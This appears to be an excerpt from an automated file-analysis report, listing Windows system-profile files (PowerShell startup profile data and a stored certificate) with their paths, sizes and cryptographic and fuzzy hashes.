- SHA512 d887d0ced6bb5c23d62936a0521e630ad53e9ccf173c6bc6764c12ef9911e8287924b6a6b1d191c2e6f6953a48eb26f02fd53807f6b0184a6f32443e2600bad9
- TLSH T1AC510127B3C45BA2D94A153B409C88117096E1478266BFCB3F8EC790B25FEB6BB71641
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 b46e7b50f44d845434515f42567214dd83b6cb521aa7859889da8ee25c101bd7
- MD5 139ae37acc0a19932143f823a1e93891
- SHA1 e3cec0e83449756ddd8895661aec86b357d6b16a
- SHA512 02381dcfb4c0cc8287ea2fd29b18eb81820c56eef1b5926a983550453ea5f97dbdd21543fcbb2fcd229ff32cfc0e8d528085ef2269a866aef2a71f8d427d4ab6
- TLSH T108510027F3C45BA2D84A113B849C481171D6E2438256BFCB3A8DC790E25FDB6BBB1A51
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 596421711320df4c93805d5df7b15b4d1eb76cd7cf0afcb3d4dd423aae585406
- MD5 24c135c8feb56e6197078005a2e16462
- SHA1 ddb387a572c042cbf39e1cf0ecb18672ef6bd0a5
- SHA512 0d32da7e0052e66b2dc5b3bc769168cb16e5c6e091e0a5bc5d5a06dffe4ae741c7db38d3a7d7b304e7f1c42fed24e9aa58717e07ce7ca7665754920e323cad7c
- TLSH T1DC510F27F3C45B63D94A103B449C48217096E2439366BFCB3A8EC790B25FEB5BBB1601
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 d008045d9663dbc932d077f282959028a888fcd53dd2186307efe16e2cad845c
- MD5 370b2acc223e4c0d2336f786aaf3c874
- SHA1 661b7221268f685bd7f5030609818ca8654c0237
- SHA512 d7a6c3ebd4a12ad7f56b3008a4fd83b0ab1597c63beb25da18ff20324495eb3135ae6a8b2d336114f363955d017defe21c73f858bf4db25340fe7b4231aa33f1
- TLSH T14A51ED27F3C45BA3D94B113B44984813B196D2538367AFCB3B89C720B25EEB5BBB1601
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 c0ca5054bac40cce6b09358fd0ceb1edd3d0cddbf1062f348aedf1932a86779d
- MD5 f10e1a51b6e9f217490a48419fdc1804
- SHA1 2138dc2e39cbb86cc58ed151aad1866bcabff093
- SHA512 c113d9832bc36ea874332f9e14c2fdaf3edcdc695269f32a8122ea29247edf97dc741b48c6e4ad6a8ea6e4fdb8cd499b77292443b60c5418a78009d17a238247
- TLSH T1CA51F117F3C45BA2D94A143B449848127196D2438356BFCB3B8DC760B25FDB6BBB1641
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\958B7448C0BBB97729C4329EA9BCA0481D0C32AA
- Size 1KB
- SHA256 a0d0bbf2225d032239cc17b91afd2619d7228b087fcd8980528a90ae9d64f50a
- MD5 e87e0310b7a78c189804368833fbde06
- SHA1 9a12851c2c90fad4015d0d4a0b1339e332ac5118
- SHA512 ad69be6fc7cc9e11fd419088fb8898b2a2f3ed528ac249b6f565d7a2a2e32f7c3f12aedac4896f4457d5aa955dbfc7c9ee9f8285cd4b852f163c2fa4b5afd2af
- TLSH T12721847B5BF86DB9F8D7497205703E115BB2A2E04A01D40E201B43880C89C66C73630B
- MD5 SHA1 SHA512 TLSH